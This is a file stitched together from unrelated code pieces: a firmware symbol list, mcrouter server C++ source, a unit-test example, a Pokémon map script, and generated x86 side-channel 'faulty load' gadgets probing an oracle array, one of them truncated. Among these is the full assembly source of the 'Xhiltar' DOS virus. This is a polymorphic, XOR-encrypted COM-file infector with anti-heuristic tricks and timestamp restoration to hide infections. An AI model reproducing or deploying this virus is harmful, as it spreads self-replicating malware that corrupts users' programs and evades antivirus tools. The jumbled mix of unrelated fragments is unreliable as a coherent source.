ds:0x10016009 ; [1] / _global_CH1_MinValue (V)
ds:0x1001600a ; [1] / _global_CH1_PPValue (V)
ds:0x1001600b ; [1] / _global_CH1_AverageValue (V)
ds:0x10016010 ; [8] / _global_CH1_PeriodValue (us)
ds:0x10016018 ; [8] / _global_CH1_RiseTimeValue (us)
ds:0x10016020 ; [8] / _global_CH1_PosWidthValue (us)
ds:0x10016028 ; [8] / _global_CH1_NegWidthValue (us)
ds:0x10016030 ; [8] / _global_CH1_DutyValue (%)
ds:0x10016038 ; [8] / _global_CH2_FreqValue (kHz)
ds:0x10016040 ; [1] / _global_CH2_MaxValue (V)
ds:0x10016041 ; [1] / _global_CH2_MinValue (V)
ds:0x10016042 ; [1] / _global_CH2_PPValue (V)
ds:0x10016043 ; [1] / _global_CH2_AverageValue (V)
ds:0x10016044 ; [4] / _global_ZrroUniInt (V?)
ds:0x10016048 ; [8] / _global_CH2_PeriodValue (us)
ds:0x10016050 ; [8] / _global_CH2_RiseTimeValue (us)
ds:0x10016058 ; [8] / _global_CH2_PosWidthValue (us)
ds:0x10016060 ; [8] / _global_CH2_NegWidthValue (us)
ds:0x10016068 ; [8] / _global_CH2_DutyValue (%)
ds:0x10016074 ; _global_BufferOffset
ds:0x10016078 ; _global_currentSampleRate
ds:0x10016080 ; [1] / _global_TrigSourceChan
ds:0x10016081 ; [1] / _global_TrigMode
ds:0x10016082 ; [1] / _global_TrigEdgeFlag
ds:0x10016083 ; [1] / _global_ReadEnable
ds:0x10016084 ; [4] / _global_HWbuffer_size
ds:0x10016088 ; [4] / _global_HWbuffer_ptr
ds:0x1001608c ; _global_ChannelMask
ds:0x10016090 ; _global_dataNumPerPixar
ds:0x10016098 ; __UNKNOWN__
ds:0x1001609c ; [1] / _global_ReadEnable
|
; The Xhiltar Virus
; By Arsonic[Codebreakers]
; Type: Runtime Appending Com Infector
; Encrypted: Yes
; Polymorphic: Yes
; Time/Date: Yes
; add Attrib: Yes
; Changes Directory's: Yes (dotdot method)
; Anti-Anti-Virus: Yes (anti-heuristics)
db 0e9h,0,0
start:
call delta
delta:
pop bp
sub bp,offset delta
mov cx,0ffffh ;fuck up those heristics!
fprot_loopy:
jmp back
mov ax,4c00h
int 21h
back:
loop fprot_loopy
lea si,[bp+hidden_start]
mov di,si
mov cx,end - hidden_start
call encryption
jmp hidden_start
value db 0
encryption: ;encryption routine
call poly
encrypt:
lodsb ;1
_1stDummy:
nop ;1 = +1
xor al,byte ptr[bp+value] ;4
_2ndDummy:
nop ;1 = +6
stosb ;1
_3rdDummy:
nop ;1 = +8
loop encrypt ;2
_4thDummy:
nop ;1 = +11
ret
hidden_start:
mov cx,3
mov di,100h ;restore the first 3 bytes
lea si,[bp+buff]
rep movsb
find_first: ;find first file
mov ah,4eh
find_next:
lea dx,[bp+filemask]
xor cx,cx ;with 0 attrib's..
int 21h
jnc infect
close:
push 100h
ret
infect:
mov ax,3d02h ;open file
mov dx,9eh
int 21h
xchg bx,ax
mov ax,5700h ;get time/date
int 21h
push dx ;save the values
push cx
in al,40h ;get new encrypt value from system clock
mov byte ptr [bp+value],al
mov ah,3fh ;read 3 bytes from the file.. too
mov cx,3 ;be replaced with a jump to the virus
lea dx,[bp+buff]
int 21h
mov ax,word ptr [80h + 1ah] ;check for infect
sub ax,end - start + 3
cmp ax,word ptr[bp+buff+1]
je close_file
mov ax,word ptr[80h + 1ah]
sub ax,3
mov word ptr[bp+three+1],ax
mov ax,4200h ;goto start of file
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ;write the 3 byte jump
lea dx,[bp+three]
mov cx,3
int 21h
mov ax,4202h ;goto end of file
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ;write the unencrypted area
lea dx,[bp+start]
mov cx,hidden_start - start
int 21h
lea si,[bp+hidden_start] ;encrypt the virus
lea di,[bp+end]
mov cx,end - hidden_start
call encryption
mov ah,40h ;write encrypted area
lea dx,[bp+end]
mov cx,end - hidden_start
int 21h
close_file:
mov ax,5701h ;restore time/date
pop cx ;with saved values
pop dx
int 21h
mov ah,3eh ;close file
int 21h
mov ah,4Fh ;find next file
jmp find_next
poly:
call random ;get random value
mov [bp+_1stDummy],dl ;write random do-nothing call to encrypt
call random
mov [bp+_2ndDummy],dl
call random
mov [bp+_3rdDummy],dl
call random
mov [bp+_4thDummy],dl
ret
garbage:
nop ; no operation instruction
clc ; Clear Carry
stc ; Set Carry
sti ; Set Interuppt Flag
cld ; Clear Direction Flag
cbw ; Convert byte to word
inc dx ; increase dx
dec dx ; decrease dx
lahf ; loads AH with flags
random:
in ax,40h
and ax,7
xchg bx,ax
add bx,offset garbage
add bx,bp
mov dl,[bx]
ret
filemask db '*.com',0
three db 0e9h,0,0
buff db 0cdh,20h,0
dotdot db '..',0
author db 'Arsonic[Codebreakers]',13,10,'$'
virus db 'the XHiLTAR virus',13,10,'$'
db 'I LOVE U LISA',13,10,'$'
db 'I LOVE U SOOOO MUCH!',13,10,'$'
end: |
/*
* Copyright (c) 2015, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
*/
#include "AsyncMcServer.h"
#include <signal.h>
#include <chrono>
#include <condition_variable>
#include <cstdio>
#include <mutex>
#include <thread>
#include <folly/io/async/EventBase.h>
#include <folly/io/async/SSLContext.h>
#include <folly/Memory.h>
#include <folly/io/async/AsyncServerSocket.h>
#include "mcrouter/lib/debug/FifoManager.h"
#include "mcrouter/lib/network/AsyncMcServerWorker.h"
#include "mcrouter/lib/network/ThreadLocalSSLContextProvider.h"
namespace facebook { namespace memcache {
namespace {
/* Global pointer to the server for signal handlers */
facebook::memcache::AsyncMcServer* gServer;
}
class ShutdownPipe : public folly::EventHandler {
public:
ShutdownPipe(AsyncMcServer& server,
folly::EventBase& evb)
: folly::EventHandler(&evb),
server_(server) {
fd_ = eventfd(0, 0);
CHECK(fd_ != -1);
changeHandlerFD(fd_);
registerHandler(EV_READ);
}
void shutdownFromSignalHandler() {
uint64_t val = 1;
PCHECK(write(fd_, &val, 8) == 8);
}
private:
AsyncMcServer& server_;
int fd_;
void handlerReady(uint16_t events) noexcept override {
LOG(INFO) << "Shutting down on signal";
server_.shutdown();
}
};
class McServerThread {
public:
explicit McServerThread(AsyncMcServer& server)
: server_(server),
evb_(/* enableTimeMeasurement */ false),
worker_(server.opts_.worker, evb_),
acceptCallback_(this, false),
sslAcceptCallback_(this, true) {
}
enum AcceptorT { Acceptor };
McServerThread(
AcceptorT,
AsyncMcServer& server)
: server_(server),
evb_(/* enableTimeMeasurement */ false),
worker_(server.opts_.worker, evb_),
acceptCallback_(this, false),
sslAcceptCallback_(this, true),
accepting_(true),
shutdownPipe_(folly::make_unique<ShutdownPipe>(server, evb_)) {
}
folly::EventBase& eventBase() {
return evb_;
}
void waitForAcceptor() {
std::unique_lock<std::mutex> lock(acceptorLock_);
acceptorCv_.wait(lock, [this] () { return acceptorSetup_; });
if (spawnException_) {
thread_.join();
std::rethrow_exception(spawnException_);
}
}
void spawn(AsyncMcServer::LoopFn fn, size_t threadId) {
worker_.setOnShutdownOperation(
[&] () {
server_.shutdown();
});
thread_ = std::thread{
[fn, threadId, this] (){
// Set workers' debug fifo
if (!server_.opts_.debugFifoPath.empty()) {
if (auto fifoManager = FifoManager::getInstance()) {
worker_.setDebugFifo(&fifoManager->fetchThreadLocal(
server_.opts_.debugFifoPath));
}
}
if (accepting_) {
startAccepting();
if (spawnException_) {
return;
}
}
fn(threadId, evb_, worker_);
// Detach the server sockets from the acceptor thread.
// If we don't do this, the TAsyncSSLServerSocket destructor
// will try to do it, and a segfault will result if the
// socket destructor runs after the threads' destructors.
if (accepting_) {
socket_.reset();
sslSocket_.reset();
}
}};
}
/* Safe to call from other threads */
void shutdown() {
auto result = evb_.runInEventBaseThread(
[&] () {
if (accepting_) {
socket_.reset();
sslSocket_.reset();
}
if (shutdownPipe_) {
shutdownPipe_->unregisterHandler();
}
worker_.shutdown();
});
CHECK(result) << "error calling runInEventBaseThread";
}
void shutdownFromSignalHandler() {
if (shutdownPipe_) {
shutdownPipe_->shutdownFromSignalHandler();
}
}
void join() {
if (thread_.joinable()) {
thread_.join();
}
}
private:
class AcceptCallback :
public folly::AsyncServerSocket::AcceptCallback {
public:
AcceptCallback(McServerThread* mcServerThread, bool secure)
: mcServerThread_(mcServerThread), secure_(secure) { }
void connectionAccepted(
int fd,
const folly::SocketAddress& clientAddr) noexcept override {
if (secure_) {
auto& opts = mcServerThread_->server_.opts_;
auto sslCtx = getSSLContext(opts.pemCertPath, opts.pemKeyPath,
opts.pemCaPath);
if (sslCtx) {
sslCtx->setVerificationOption(
folly::SSLContext::SSLVerifyPeerEnum::VERIFY_REQ_CLIENT_CERT);
mcServerThread_->worker_.addSecureClientSocket(fd, std::move(sslCtx));
} else {
::close(fd);
}
} else {
mcServerThread_->worker_.addClientSocket(fd);
}
}
void acceptError(const std::exception& ex) noexcept override {
LOG(ERROR) << "Connection accept error: " << ex.what();
}
private:
McServerThread* mcServerThread_{nullptr};
bool secure_{false};
};
AsyncMcServer& server_;
folly::EventBase evb_;
std::thread thread_;
AsyncMcServerWorker worker_;
AcceptCallback acceptCallback_;
AcceptCallback sslAcceptCallback_;
bool accepting_{false};
std::mutex acceptorLock_;
std::condition_variable acceptorCv_;
/** True only after acceptor callbacks are setup */
bool acceptorSetup_{false};
std::exception_ptr spawnException_;
folly::AsyncServerSocket::UniquePtr socket_;
folly::AsyncServerSocket::UniquePtr sslSocket_;
std::unique_ptr<ShutdownPipe> shutdownPipe_;
void startAccepting() {
CHECK(accepting_);
try {
auto& opts = server_.opts_;
if (opts.existingSocketFd != -1) {
checkLogic(opts.ports.empty() && opts.sslPorts.empty(),
"Can't use ports if using existing socket");
if (!opts.pemCertPath.empty() || !opts.pemKeyPath.empty() ||
!opts.pemCaPath.empty()) {
checkLogic(
!opts.pemCertPath.empty() && !opts.pemKeyPath.empty() &&
!opts.pemCaPath.empty(),
"All of pemCertPath, pemKeyPath and pemCaPath are required "
"if at least one of them set");
sslSocket_.reset(new folly::AsyncServerSocket());
sslSocket_->useExistingSocket(opts.existingSocketFd);
} else {
socket_.reset(new folly::AsyncServerSocket());
socket_->useExistingSocket(opts.existingSocketFd);
}
} else if (!opts.unixDomainSockPath.empty()) {
checkLogic(opts.ports.empty() && opts.sslPorts.empty() &&
(opts.existingSocketFd == -1),
"Can't listen on port and unix domain socket at the same time");
std::remove(opts.unixDomainSockPath.c_str());
socket_.reset(new folly::AsyncServerSocket());
folly::SocketAddress serverAddress;
serverAddress.setFromPath(opts.unixDomainSockPath);
socket_->bind(serverAddress);
} else {
checkLogic(!server_.opts_.ports.empty() ||
!server_.opts_.sslPorts.empty(),
"At least one port (plain or SSL) must be speicified");
if (!server_.opts_.ports.empty()) {
socket_.reset(new folly::AsyncServerSocket());
for (auto port : server_.opts_.ports) {
socket_->bind(port);
}
}
if (!server_.opts_.sslPorts.empty()) {
checkLogic(!server_.opts_.pemCertPath.empty() &&
!server_.opts_.pemKeyPath.empty() &&
!server_.opts_.pemCaPath.empty(),
"All of pemCertPath, pemKeyPath, pemCaPath required"
" with sslPorts");
sslSocket_.reset(new folly::AsyncServerSocket());
for (auto sslPort : server_.opts_.sslPorts) {
sslSocket_->bind(sslPort);
}
}
}
if (socket_) {
socket_->listen(SOMAXCONN);
socket_->startAccepting();
socket_->attachEventBase(&evb_);
}
if (sslSocket_) {
sslSocket_->listen(SOMAXCONN);
sslSocket_->startAccepting();
sslSocket_->attachEventBase(&evb_);
}
for (auto& t : server_.threads_) {
if (socket_ != nullptr) {
socket_->addAcceptCallback(&t->acceptCallback_, &t->evb_);
}
if (sslSocket_ != nullptr) {
sslSocket_->addAcceptCallback(&t->sslAcceptCallback_, &t->evb_);
}
}
} catch (...) {
spawnException_ = std::current_exception();
}
{
std::lock_guard<std::mutex> lock(acceptorLock_);
acceptorSetup_ = true;
}
acceptorCv_.notify_all();
}
};
AsyncMcServer::AsyncMcServer(Options opts)
: opts_(std::move(opts)) {
CHECK(opts_.numThreads > 0);
threads_.emplace_back(folly::make_unique<McServerThread>(
McServerThread::Acceptor, *this));
for (size_t i = 1; i < opts_.numThreads; ++i) {
threads_.emplace_back(folly::make_unique<McServerThread>(*this));
}
}
std::vector<folly::EventBase*> AsyncMcServer::eventBases() const {
std::vector<folly::EventBase*> out;
for (auto& t : threads_) {
out.push_back(&t->eventBase());
}
return out;
}
AsyncMcServer::~AsyncMcServer() {
/* Need to place the destructor here, since this is the only
translation unit that knows about McServerThread */
/* In case some signal handlers are still registered */
gServer = nullptr;
}
void AsyncMcServer::spawn(LoopFn fn, std::function<void()> onShutdown) {
CHECK(threads_.size() == opts_.numThreads);
onShutdown_ = std::move(onShutdown);
/* We need to make sure we register all acceptor callbacks before
running spawn() on other threads. This is so that eventBase.loop()
never exits immediately on non-acceptor threads. */
threads_[0]->spawn(fn, 0);
threads_[0]->waitForAcceptor();
for (size_t id = 1; id < threads_.size(); ++id) {
threads_[id]->spawn(fn, id);
}
/* We atomically attempt to change the state STARTUP -> SPAWNED.
If we see the state SHUTDOWN, it means a signal handler ran
concurrently with us (maybe even on this thread),
so we just shutdown threads. */
auto state = signalShutdownState_.load();
do {
if (state == SignalShutdownState::SHUTDOWN) {
shutdown();
return;
}
} while (!signalShutdownState_.compare_exchange_weak(
state,
SignalShutdownState::SPAWNED));
}
void AsyncMcServer::shutdown() {
if (!alive_.exchange(false)) {
return;
}
if (onShutdown_) {
onShutdown_();
}
for (auto& thread : threads_) {
thread->shutdown();
}
}
void AsyncMcServer::installShutdownHandler(const std::vector<int>& signals) {
gServer = this;
/* prevent the above write being reordered with installing the handler */
std::atomic_signal_fence(std::memory_order_seq_cst);
struct sigaction act;
memset(&act, 0, sizeof(struct sigaction));
act.sa_handler = [] (int) {
if (gServer) {
gServer->shutdownFromSignalHandler();
}
};
act.sa_flags = SA_RESETHAND;
for (auto sig : signals) {
CHECK(!sigaction(sig, &act, nullptr));
}
}
void AsyncMcServer::shutdownFromSignalHandler() {
/* We atomically attempt to change the state STARTUP -> SHUTDOWN.
If we see that the state is already SPAWNED,
we can just issue a shutdown request. */
auto state = signalShutdownState_.load();
do {
if (state == SignalShutdownState::SPAWNED) {
threads_[0]->shutdownFromSignalHandler();
return;
}
} while (!signalShutdownState_.compare_exchange_weak(
state,
SignalShutdownState::SHUTDOWN));
}
void AsyncMcServer::join() {
for (auto& thread : threads_) {
thread->join();
}
}
}} // facebook::memcache
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x1622, %rsi
lea addresses_A_ht+0x11622, %rdi
nop
nop
nop
nop
nop
inc %rax
mov $56, %rcx
rep movsw
nop
nop
xor %rbp, %rbp
lea addresses_normal_ht+0x5816, %rdx
clflush (%rdx)
and $29190, %r11
movb $0x61, (%rdx)
nop
nop
cmp %rsi, %rsi
lea addresses_WC_ht+0x12e22, %rsi
lea addresses_D_ht+0x10a2, %rdi
clflush (%rsi)
nop
cmp $22113, %r13
mov $25, %rcx
rep movsl
and %rsi, %rsi
lea addresses_WT_ht+0x6622, %rsi
nop
add $49364, %rax
mov $0x6162636465666768, %rbp
movq %rbp, %xmm1
movups %xmm1, (%rsi)
nop
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_WT_ht+0xd622, %rdi
nop
nop
nop
xor %rbp, %rbp
mov (%rdi), %esi
nop
and $7071, %r11
lea addresses_WC_ht+0x167eb, %rcx
nop
nop
sub $41966, %rbp
movl $0x61626364, (%rcx)
nop
nop
nop
sub $7097, %rsi
lea addresses_D_ht+0x6408, %rbp
sub $50972, %rdx
mov (%rbp), %ax
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_UC_ht+0xf422, %rsi
lea addresses_WC_ht+0x4e22, %rdi
clflush (%rdi)
nop
sub $61115, %rdx
mov $20, %rcx
rep movsw
nop
nop
nop
nop
sub $31877, %r11
lea addresses_normal_ht+0xbe22, %rsi
lea addresses_UC_ht+0x10522, %rdi
nop
nop
nop
dec %rdx
mov $77, %rcx
rep movsq
nop
nop
and %r13, %r13
lea addresses_A_ht+0x10122, %rsi
lea addresses_A_ht+0xc9d2, %rdi
nop
nop
and $16163, %rbp
mov $27, %rcx
rep movsb
nop
nop
nop
nop
sub $42254, %r13
lea addresses_A_ht+0xb622, %rsi
lea addresses_D_ht+0x32e, %rdi
nop
nop
nop
nop
nop
sub %r11, %r11
mov $111, %rcx
rep movsb
cmp %r13, %r13
lea addresses_UC_ht+0x1ee22, %rsi
lea addresses_D_ht+0x647e, %rdi
clflush (%rsi)
nop
xor $44491, %rax
mov $42, %rcx
rep movsw
nop
nop
nop
sub %r11, %r11
lea addresses_normal_ht+0x127a2, %rsi
lea addresses_normal_ht+0xb222, %rdi
nop
nop
nop
add %r11, %r11
mov $120, %rcx
rep movsw
nop
nop
inc %r11
lea addresses_WC_ht+0xf8b2, %rcx
nop
nop
xor %r13, %r13
mov $0x6162636465666768, %rbp
movq %rbp, %xmm7
and $0xffffffffffffffc0, %rcx
movntdq %xmm7, (%rcx)
nop
nop
nop
nop
dec %r11
lea addresses_WT_ht+0x1df12, %rsi
nop
nop
nop
nop
nop
sub $58072, %rbp
mov $0x6162636465666768, %rdi
movq %rdi, (%rsi)
nop
nop
nop
xor %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r9
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_D+0x1f622, %rsi
lea addresses_D+0x126a2, %rdi
nop
nop
nop
nop
nop
cmp %rax, %rax
mov $36, %rcx
rep movsw
nop
nop
nop
nop
add $17547, %rax
// Store
lea addresses_WT+0x8622, %rdi
nop
xor %rbp, %rbp
mov $0x5152535455565758, %rsi
movq %rsi, %xmm1
vmovaps %ymm1, (%rdi)
nop
cmp %rcx, %rcx
// Store
lea addresses_D+0xf5ea, %rsi
nop
sub $8609, %rdi
movw $0x5152, (%rsi)
nop
nop
nop
cmp $62294, %rax
// Faulty Load
lea addresses_D+0x10e22, %rbx
nop
nop
add %rcx, %rcx
movb (%rbx), %al
lea oracles, %rdi
and $0xff, %rax
shlq $12, %rax
mov (%rdi,%rax,1), %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r9
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 2, 'same': False}}
{'36': 234}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
#include <xtd/xtd.tunit>
using namespace xtd::tunit;
namespace unit_tests {
class class_without_insert_stream_operator {
public:
public:
class_without_insert_stream_operator() = default;
explicit class_without_insert_stream_operator(int value) : value_(value) {}
int value() const noexcept {return this->value_;}
bool operator==(const class_without_insert_stream_operator& c) const noexcept {return this->value_ == c.value_;}
bool operator!=(const class_without_insert_stream_operator& c) const noexcept {return !this->operator==(c);}
private:
int value_ = 0;
};
class test_class_(test) {
public:
void test_method_(test_case_succeed) {
class_without_insert_stream_operator c1(42);
class_without_insert_stream_operator c2(42);
assert::are_equal(c1, c2);
}
void test_method_(test_case_failed) {
class_without_insert_stream_operator c1(42);
class_without_insert_stream_operator c2(24);
assert::are_equal(c1, c2);
}
};
}
// The main entry point for the application.
int main() {
return console_unit_test().run();
}
// This code produces the following output:
//
// Start 2 tests from 1 test case
// Run tests:
// SUCCEED test.test_case_succeed (0 ms total)
// FAILED test.test_case_failed (0 ms total)
// Expected: 4-byte object <2A-00 00-00>
// But was: 4-byte object <18-00 00-00>
// Stack Trace: in /Users/yves/Projects/xtd/xtd.tunit/examples/class_without_insert_stream_operator/src/class_without_insert_stream_operator.cpp:30
//
// Test results:
// SUCCEED 1 test.
// FAILED 1 test.
// End 2 tests from 1 test case ran. (0 ms total)
|
object_const_def ; object_event constants
const ROUTE28STEELWINGHOUSE_CELEBRITY
const ROUTE28STEELWINGHOUSE_FEAROW
Route28SteelWingHouse_MapScripts:
db 1 ; scene scripts
scene_script .DummyScene
db 0 ; callbacks
.DummyScene:
end
Celebrity:
faceplayer
opentext
checkevent EVENT_GOT_TM47_STEEL_WING
iftrue .AlreadyGotItem
writetext CelebrityText1
buttonsound
verbosegiveitem TM_STEEL_WING
iffalse .Done
setevent EVENT_GOT_TM47_STEEL_WING
.Done:
closetext
end
.AlreadyGotItem:
writetext CelebrityText2
waitbutton
closetext
end
CelebritysFearow:
opentext
writetext CelebritysFearowText
cry FEAROW
waitbutton
closetext
end
CelebrityHouseBookshelf:
jumpstd magazinebookshelf
CelebrityText1:
text "Oh, dear."
line "You've found me."
para "Please don't tell"
line "anyone about me."
para "I'll give you this"
line "for keeping my"
cont "secret. Please?"
done
CelebrityText2:
text "It's tough being a"
line "top celebrity."
para "Everywhere I go,"
line "people chase me."
para "I just want to be"
line "left alone…"
done
CelebritysFearowText:
text "FEAROW: Feero!"
done
Route28SteelWingHouse_MapEvents:
db 0, 0 ; filler
db 2 ; warp events
warp_event 2, 7, ROUTE_28, 1
warp_event 3, 7, ROUTE_28, 1
db 0 ; coord events
db 2 ; bg events
bg_event 0, 1, BGEVENT_READ, CelebrityHouseBookshelf
bg_event 1, 1, BGEVENT_READ, CelebrityHouseBookshelf
db 2 ; object events
object_event 2, 3, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, Celebrity, -1
object_event 6, 5, SPRITE_MOLTRES, SPRITEMOVEDATA_POKEMON, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_SCRIPT, 0, CelebritysFearow, -1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x189c5, %r9
nop
nop
nop
nop
nop
xor %rdx, %rdx
movups (%r9), %xmm2
vpextrq $0, %xmm2, %rax
dec %r11
lea addresses_A_ht+0x48c5, %r13
add $2973, %r10
mov (%r13), %r9d
nop
nop
sub %r13, %r13
lea addresses_D_ht+0x1adc5, %r9
nop
nop
cmp $33142, %rcx
movups (%r9), %xmm5
vpextrq $0, %xmm5, %r13
and $63689, %r10
lea addresses_WT_ht+0x19545, %rsi
lea addresses_normal_ht+0xbde5, %rdi
nop
nop
nop
nop
cmp %r11, %r11
mov $66, %rcx
rep movsl
nop
nop
nop
and $25007, %rsi
lea addresses_WC_ht+0xb085, %rsi
lea addresses_D_ht+0x10dc5, %rdi
inc %r13
mov $118, %rcx
rep movsl
dec %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r15
push %r9
push %rbx
push %rcx
push %rdx
// Load
lea addresses_D+0x1b5c5, %rbx
nop
nop
nop
nop
and %rdx, %rdx
mov (%rbx), %ecx
nop
nop
nop
nop
inc %r11
// Faulty Load
lea addresses_UC+0x15cc5, %r13
and $35666, %r15
mov (%r13), %r11d
lea oracles, %rdx
and $0xff, %r11
shlq $12, %r11
mov (%rdx,%r11,1), %r11
pop %rdx
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 8}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}}
{'37': 21829}
